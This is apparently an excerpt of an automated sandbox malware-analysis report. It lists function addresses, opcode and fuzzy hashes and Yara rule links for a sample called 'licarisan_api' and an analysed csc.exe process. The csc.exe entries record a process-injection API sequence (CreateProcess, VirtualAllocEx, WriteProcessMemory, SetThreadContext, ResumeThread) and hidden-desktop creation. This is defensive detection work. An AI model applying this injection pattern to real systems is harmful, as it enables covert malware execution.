Instruction Fuzzy Hash: 6102DFB1D042699FEB248B14CC84BEABBB5FFC6304F1442EAD549A7641D6385ED1CF42

Function 008224CC Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

, xrefs: 00822A40

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID: 0-399585960
Opcode ID: 0ad6f738089e95c95d10291a5ce472eb5cea18778c4b9f6c7662b12629bd9376
Instruction ID: f4567115af2b8acf9de9e276e171c8efe1cf63615a67f6ea8ae9f8a3a04b312a
Opcode Fuzzy Hash: 0ad6f738089e95c95d10291a5ce472eb5cea18778c4b9f6c7662b12629bd9376
Instruction Fuzzy Hash: 83E169B1D146399BDB24CB18DC90AFAB7B5FB89314F1481FAD80EA6640DA385EC1CF51

Function 007F4053 Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

, xrefs: 007F4B62

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID: 0-399585960
Opcode ID: 559af9f723b5c66aaa21223914cb77e7ac2105286ca1ecc15f1440213d1681ed
Instruction ID: fd8af5c9ee3cdbc57d5a3141af1046ee6b822875f3f9535f6f9b1b96eb7cb218
Opcode Fuzzy Hash: 559af9f723b5c66aaa21223914cb77e7ac2105286ca1ecc15f1440213d1681ed
Instruction Fuzzy Hash: C4C17AB1D006688BEB24CA04CC94BBAB7B5BB85319F1481EAE90D67341DB385FC5CE51

Function 007A7B2D Relevance: 1.5, Strings: 1, Instructions: 243COMMON

Download Yara Rule

Strings

_R, xrefs: 007A7A39

Memory Dump Source

Source File: 00000000.00000002.1516483994.00000000007A5000.00000040.00000001.01000000.00000003.sdmp, Offset: 007A5000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a5000_licarisan_api.jbxd

Similarity

API ID:
String ID: _R
API String ID: 0-1717569336
Opcode ID: a55bfe17098e925d3f66f0725696e7e47e0469bbdf027c923e602ba578985d7b
Instruction ID: 9330cd971ae0f2083e37bbfcc86c3c8c4cc052d540be91ce20a8940649a1be44
Opcode Fuzzy Hash: a55bfe17098e925d3f66f0725696e7e47e0469bbdf027c923e602ba578985d7b
Instruction Fuzzy Hash: ADA1C1A1C096A8CBEB64DB24CC447EAB775EF92304F0881F9C44C67251E67A4FC5CB66

Function 00435118 Relevance: 1.5, Strings: 1, Instructions: 241COMMON

Download Yara Rule

Strings

EDMN, xrefs: 00434F9C

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: EDMN
API String ID: 0-783159248
Opcode ID: c040e6a4eedfda0957ba91badda29fc1971905d93f761a471edb4fd8eb7961f0
Instruction ID: 743e727d18510ddbc93d45358a1002c055be2ad084a9bcf35ab30f89e66f6e00
Opcode Fuzzy Hash: c040e6a4eedfda0957ba91badda29fc1971905d93f761a471edb4fd8eb7961f0
Instruction Fuzzy Hash: F99123B1D145689AEB248B24DC40BEA7775EF89310F1451FFD80D9B281EA398EC2CB56

Function 007F3FC7 Relevance: 1.4, Strings: 1, Instructions: 117COMMON

Download Yara Rule

Strings

, xrefs: 007F4B62

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID: 0-399585960
Opcode ID: e256a2330ec57b355c15debc862d669141328d2e7ae141531982cc4419e5f3b2
Instruction ID: 9b3b198801c171b629fcfc2e7c09a5ac0fb93a3129f7cc75daf0c2319f4fe106
Opcode Fuzzy Hash: e256a2330ec57b355c15debc862d669141328d2e7ae141531982cc4419e5f3b2
Instruction Fuzzy Hash: 8441E5B2D046589BF7608A14DC84BFBB7B9EBD4314F1480FAE90C66781D63C5EC68A51

Function 004306B3 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

u7V, xrefs: 00430A52

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID: u7V
API String ID: 0-3854151070
Opcode ID: 8c77907cb1d1dfdc0771fbce7911924dc16935d096f8268badf8bba380204d9a
Instruction ID: c221d02b2520a5672aa7fa0a8ab7c47814a2fbf31111458dacdc48eaf3a88227
Opcode Fuzzy Hash: 8c77907cb1d1dfdc0771fbce7911924dc16935d096f8268badf8bba380204d9a
Instruction Fuzzy Hash: 2D4121B0D051648FEB24CB14CCA5BEABBB0EB94304F1412EBD44A16281E7785BC2CF4A

Function 007F018B Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d48b64be3b19c1b4c1fc6b7170e9e01878e85f5788f608791a48b1bbc1daa95
Instruction ID: 23f6e801e1fceab4a51ff97552b00edc44665039f59637001dfc522cdc3dd3ae
Opcode Fuzzy Hash: 8d48b64be3b19c1b4c1fc6b7170e9e01878e85f5788f608791a48b1bbc1daa95
Instruction Fuzzy Hash: 83F19CB0D051688BEB24CB14CC94AFAB7B5FB85304F1481EAD50DA6786D6785EC2CF91

Function 007FD56A Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516916549.00000000007FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007FA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7fa000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4efd85ac5b02421b4e43edea8a9e96ef14ccd8cc9f349d776a36b7957349a557
Instruction ID: b109d660fc1193fbf24bed3db48a735a0adb5b9637de5e76367cef3b98d00334
Opcode Fuzzy Hash: 4efd85ac5b02421b4e43edea8a9e96ef14ccd8cc9f349d776a36b7957349a557
Instruction Fuzzy Hash: 65D1F5B2D04129CAEB348B54CC59BFFBB76EB81314F1440BAD609A7380E67C5EC5DA91

Function 007DC9CB Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be695bcd3f57cd2e732cc3c3e36be164d4ff47ff85747d923d86f4346d9598f1
Instruction ID: 6dae05722c9242939c3937aed3932f1c8277504eb2a352b3f1d038430063c11c
Opcode Fuzzy Hash: be695bcd3f57cd2e732cc3c3e36be164d4ff47ff85747d923d86f4346d9598f1
Instruction Fuzzy Hash: 0671D1F2C545689FF7248A20DC48AEB7B75EB84311F1482BAD90E52780D67C5EC6CE51

Function 007F07A9 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e60ce0f3ea678a59d326fa145eb58d328bba1c537d9ad5e53077aa990bf643b
Instruction ID: b6ed5a7be63605816499b70f856b1d53af0a177651cdb52ecca213557417dff1
Opcode Fuzzy Hash: 3e60ce0f3ea678a59d326fa145eb58d328bba1c537d9ad5e53077aa990bf643b
Instruction Fuzzy Hash: 7271FEB1E046589BF7208A21DC49BBA7779FF94310F1081FAD44997780E27D5FC68BA2

Function 007F125E Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93b0f24386343b23968f1dd4614e447d5e13f6422e0b7557b4f4ba7a94d9471b
Instruction ID: f25eff7afa05845c9b1ac322673b08e895f1f9c358c8b3dab8c6cd0b8c56c7f3
Opcode Fuzzy Hash: 93b0f24386343b23968f1dd4614e447d5e13f6422e0b7557b4f4ba7a94d9471b
Instruction Fuzzy Hash: 427189B1905218DAEB218B20DC887EAB375FF99310F5081EAD50D9B390E7395EC1CF56

Function 007EF5A1 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0fcb31fda13efb35360ab1395232c69d920fc58a9bd4b41169081f44a0c6411
Instruction ID: 5842e22a0b52710cd4f90cc7e0f92c7eeeaf16333ce5aa459dd49d7e3dde9da1
Opcode Fuzzy Hash: d0fcb31fda13efb35360ab1395232c69d920fc58a9bd4b41169081f44a0c6411
Instruction Fuzzy Hash: DB61A3B5E091688BEB248B15DC946EAB775EF89314F1041FAE40D66A80E33C5FC5CB52

Function 007EED82 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516559420.00000000007C8000.00000040.00000001.01000000.00000003.sdmp, Offset: 007C8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c8000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe9397a7592cb5791e59a69ac8db6884c4c6904243ab705aa3243c03c2326f34
Instruction ID: f11017001d3ed237da5a11ee728beef63ba95067077bdce29313bab3a2d1f888
Opcode Fuzzy Hash: fe9397a7592cb5791e59a69ac8db6884c4c6904243ab705aa3243c03c2326f34
Instruction Fuzzy Hash: 0651D2B1D011689AEB248B12DC956FAB3B5EF85310F5080FAE90D57680E63C5FC1CF66

Function 004353C6 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1516137583.0000000000420000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_licarisan_api.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7102f77ce3665209714b6eac27fd5dde86c060056710aa8567219f6673810444
Instruction ID: 14a33a121c5bec8adc22226229b69edff0d7146006be33f134681301f854a51b
Opcode Fuzzy Hash: 7102f77ce3665209714b6eac27fd5dde86c060056710aa8567219f6673810444
Instruction Fuzzy Hash: 1451D4A1D046269AE7348B25DC80BFBB675EF98304F1091FBD80D67680E7394AC2CF55

Analysis Process: csc.exePID: 7584, Parent PID: 3632COMMON

Execution Graph

Execution Coverage:	25.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.2%
Total number of Nodes:	94
Total number of Limit Nodes:	3

Executed Functions

Function 05824800 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDesktopA.USER32(?,?,?,?,?,?,?), ref: 058248E6

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateDesktop
String ID:
API String ID: 3054513912-0
Opcode ID: ea770e17f0d82a6acff13b7d31970cf0dc9d2854c83094911b9eff48418b20ca
Instruction ID: 365327a6dc636a8dd7a746eac3c859fa1c10b382ecac942045dfbf483ac27e63
Opcode Fuzzy Hash: ea770e17f0d82a6acff13b7d31970cf0dc9d2854c83094911b9eff48418b20ca
Instruction Fuzzy Hash: D1410171D102A99FDF10CFA9C885B9EBFF2FB48310F148129E815A7660D7759881CFA1

Function 0582516C Relevance: 2.2, APIs: 1, Instructions: 748
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0582578C

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 342cee3ab7771e6dd77be2814d7024ca1efc5fd93d0ecf9ce17c0e8f90b85018
Instruction ID: c85f34bd3ac0e6c2db7b912671b436b7a07c42e2b35a3cc0ec8c540cb00a049e
Opcode Fuzzy Hash: 342cee3ab7771e6dd77be2814d7024ca1efc5fd93d0ecf9ce17c0e8f90b85018
Instruction Fuzzy Hash: 9CA15A71D402299FDB20DFA9C845BEDBBB1BF48310F1485AAE819EA240DB749DC5CF91

Function 05822C6C Relevance: 1.8, APIs: 1, Instructions: 262
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05822EC4

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 58d2eec8721014d36794faadccec58c5eed6a0c17b48a0d1985bdfd11db753ce
Instruction ID: 30d62c76b9c81e18f11852c243e32965d9ab1bca9e6561c4e9c4117e9cd162c2
Opcode Fuzzy Hash: 58d2eec8721014d36794faadccec58c5eed6a0c17b48a0d1985bdfd11db753ce
Instruction Fuzzy Hash: CAA15B75D002299FEB24DF69C841BEDBBB1BF48310F0485A9E81AF6240DB749D85CF91

Function 05825540 Relevance: 1.8, APIs: 1, Instructions: 258
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0582578C

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: fdc40b86fbe6bddcd5cbdb3d4374f1da16e37cb706bf832d516ec35a1ad7c0a2
Instruction ID: d81291041efd471ed948f5acf29df77ceb5e1e959fd43284927e73ea476548dd
Opcode Fuzzy Hash: fdc40b86fbe6bddcd5cbdb3d4374f1da16e37cb706bf832d516ec35a1ad7c0a2
Instruction Fuzzy Hash: 58A15A71D402299FDB20DFA9C845BEEBBB1BF48310F1485A9D819EA240DB749DC5CF91

Function 05822C78 Relevance: 1.8, APIs: 1, Instructions: 258
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05822EC4

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9a3828c8bcd009ac59b5ae41f4b12f4553d94f93cf002b74c7628ad3b6dfc4e9
Instruction ID: 2347540ddb3ad664686465597dcd140b23b3ec63b4b82bdcfd040395613f29d8
Opcode Fuzzy Hash: 9a3828c8bcd009ac59b5ae41f4b12f4553d94f93cf002b74c7628ad3b6dfc4e9
Instruction Fuzzy Hash: 21A15B75D002299FEB24DFA9C841BEDBBB1FF48310F1485A9E81AE6240DB749D85CF91

Function 058247F4 Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDesktopA.USER32(?,?,?,?,?,?,?), ref: 058248E6

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateDesktop
String ID:
API String ID: 3054513912-0
Opcode ID: 0457b839c5d6ad07d2f30cc789bc50e120e166f5bf7ee2dcf75537f3421eafe0
Instruction ID: 1d3521905ec4ccf89af58cfa8cd400e5cd187e6648036bc786d8efa6b3c57098
Opcode Fuzzy Hash: 0457b839c5d6ad07d2f30cc789bc50e120e166f5bf7ee2dcf75537f3421eafe0
Instruction Fuzzy Hash: C04122B1D102A99FDF11CFA9D885BDEBFF2BB08310F148129E815A7660C7759885CFA1

Function 058229E8 Relevance: 1.6, APIs: 1, Instructions: 74
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05822A80

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 518526fe93c8c79a22c4847a66ffe1bf3aa68c4509d70ca8141f272db0eb5bfa
Instruction ID: ff16c48a3a3c1f6dd68b1637e6b99133e7c3961398c42bde767e9457d3a045a1
Opcode Fuzzy Hash: 518526fe93c8c79a22c4847a66ffe1bf3aa68c4509d70ca8141f272db0eb5bfa
Instruction Fuzzy Hash: 05213775D003599FDB20CFA9C881BEEBBF5FF48320F508429E919A7640D7789941CBA0

Function 058229F0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 05822A80

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a9ac4250a1f09eafc4d3b78c9a7e479bf30dd951e49205ddd1a06cb7c6bb152f
Instruction ID: 7934f106bebff807812d49f3d370fc71a5d875d897b2429a0f92418637a50b67
Opcode Fuzzy Hash: a9ac4250a1f09eafc4d3b78c9a7e479bf30dd951e49205ddd1a06cb7c6bb152f
Instruction Fuzzy Hash: 28212575D003599FDB20DFAAC881BEEBBF5FF48310F50842AE919A7240D7789944CBA4

Function 05824A40 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDesktopW.USER32(00000000,?,?,?,?,?,?,?), ref: 05824ADA

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateDesktop
String ID:
API String ID: 3054513912-0
Opcode ID: d6960fd84e9671d4b9e794024b2f8b119ea141fdd63f9419450844db61d48e5d
Instruction ID: 08332e7b907e417fd50fd549d535a64de6a3c29c7d4922fff5b9df92b22a689e
Opcode Fuzzy Hash: d6960fd84e9671d4b9e794024b2f8b119ea141fdd63f9419450844db61d48e5d
Instruction Fuzzy Hash: 9421F5B5D0121AAFCB10CF99D985ADEFFB4FF48320F10812AE919A3250C775A955CFA4

Function 05822850 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 058228D6

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1ffe0b6397b0dec1b9f1b258a827f1c2f77f7c86f6f27f3fd054dd3ffa907cb9
Instruction ID: db3c44112c641774fa5818a3053c5399d505b7c5258cb0dd42cc1cdbe28ad51c
Opcode Fuzzy Hash: 1ffe0b6397b0dec1b9f1b258a827f1c2f77f7c86f6f27f3fd054dd3ffa907cb9
Instruction Fuzzy Hash: FA215975D003099FDB10DFAAC481BEEBBF4EF48320F548429D919A7640DB789986CFA5

Function 05824A48 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDesktopW.USER32(00000000,?,?,?,?,?,?,?), ref: 05824ADA

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: CreateDesktop
String ID:
API String ID: 3054513912-0
Opcode ID: ba5d87b00c607acdbe152d52217b8111b93d72fecd07e566a55c4e6383ff4de3
Instruction ID: c0ce2394f102afe7f16d37b22997cda680c6089732633d6b8ff1f99b8220fda3
Opcode Fuzzy Hash: ba5d87b00c607acdbe152d52217b8111b93d72fecd07e566a55c4e6383ff4de3
Instruction Fuzzy Hash: 3021F0B5D0121AAFCB10CF99D984ADEFBB4FB08320F10812AE919A3250C775A955CFA4

Function 05822AD8 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05822B60

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 199087510ffc69137006025c070fcf4c10c7a4ad5b1bbe189e0503b5f3750aa8
Instruction ID: 599a1a9ebd3e68783824e712a84d31563ad92e56fcf0590d88899a05962df118
Opcode Fuzzy Hash: 199087510ffc69137006025c070fcf4c10c7a4ad5b1bbe189e0503b5f3750aa8
Instruction Fuzzy Hash: 21212475C003499FDB10DFAAC884BEEBBF5FF48310F54842AE959A3240D7799940CBA4

Function 05822858 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 058228D6

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1d95b7a752c7f66db9bf25948d61ad0cb088d0af15325f92edb60d8de1c57b8b
Instruction ID: e7f065bc2f50b0f821c9ab8ca8a72b37ea03a8c4640d81b4da13c4301f0d053d
Opcode Fuzzy Hash: 1d95b7a752c7f66db9bf25948d61ad0cb088d0af15325f92edb60d8de1c57b8b
Instruction Fuzzy Hash: 22213875D003098FDB10DFAAC485BEEBBF4EF48310F548429D919A7640CB789945CFA4

Function 05822AE0 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05822B60

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: d6d860d7eb912f4a816c1161e1771cba1f7b62bac652631397998dc7963f1866
Instruction ID: 4f322ec3b40559051098719d30601c8aedd35aaa674b663df79aaee15158437a
Opcode Fuzzy Hash: d6d860d7eb912f4a816c1161e1771cba1f7b62bac652631397998dc7963f1866
Instruction Fuzzy Hash: 89212575C003599FDB10DFAAC881BEEBBF5FF48310F50842AE919A7240C7799941CBA4

Function 05822928 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0582299E

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7037c3d84997ecfd0616c87a0eb62c08f3cbc1407f34291ee0fdfb498d891cd4
Instruction ID: d85745670201c0b977255cf79b26363faeec057b668598c68ff15f840c81a51c
Opcode Fuzzy Hash: 7037c3d84997ecfd0616c87a0eb62c08f3cbc1407f34291ee0fdfb498d891cd4
Instruction Fuzzy Hash: CF1164758003499FDB20DFAAC840BEEBFF1AF88324F548819E956A7240C7369951CBA0

Function 05822930 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0582299E

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 82162c3c996651ada8b39e40dc15a556e69fb2e681bd95f7d896a6428571ed4a
Instruction ID: 899d0515d5dc109e781d6b92398abefb9f07edb7330e7d2347cc632c6586c996
Opcode Fuzzy Hash: 82162c3c996651ada8b39e40dc15a556e69fb2e681bd95f7d896a6428571ed4a
Instruction Fuzzy Hash: EE1114758003499FDB20DFAAC845BDEBBF5AB88324F148419E915A7250CB759940CBA0

Function 05821A31 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 05821A9A

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6f7f1a1cd050fa635defeb16286e92149f111913783dcd9c3a99b7082df97253
Instruction ID: 5950db874839adf36d2907b30751d56cd39875232e95ee8c3af670a9d3c09817
Opcode Fuzzy Hash: 6f7f1a1cd050fa635defeb16286e92149f111913783dcd9c3a99b7082df97253
Instruction Fuzzy Hash: 9F1188B1D003488FDB20DFAAC445BEEFFF4AF88320F248419D919A7240CB75A941CB94

Function 05821A38 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 05821A9A

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: e0a478ca10752dcb7925aefe94a894980ea7ac73c56ba1d7dd5c6b6319c945d2
Instruction ID: 0c331171a0d3920ec85ec97f4b7f7a18ba4df0ce4f5ad5b61f3ab622758fe10e
Opcode Fuzzy Hash: e0a478ca10752dcb7925aefe94a894980ea7ac73c56ba1d7dd5c6b6319c945d2
Instruction Fuzzy Hash: 51112875D003498FDB20DFAAC445BDEFBF5AB48324F248419D519A7240CB756945CB94

Function 05821AD8 Relevance: 1.5, APIs: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 05821A9A

Memory Dump Source

Source File: 0000000A.00000002.1447495448.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_5820000_csc.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 0a7f807c2eee09b85208eab72547774a0bacb105a9115f257614101d001e3769
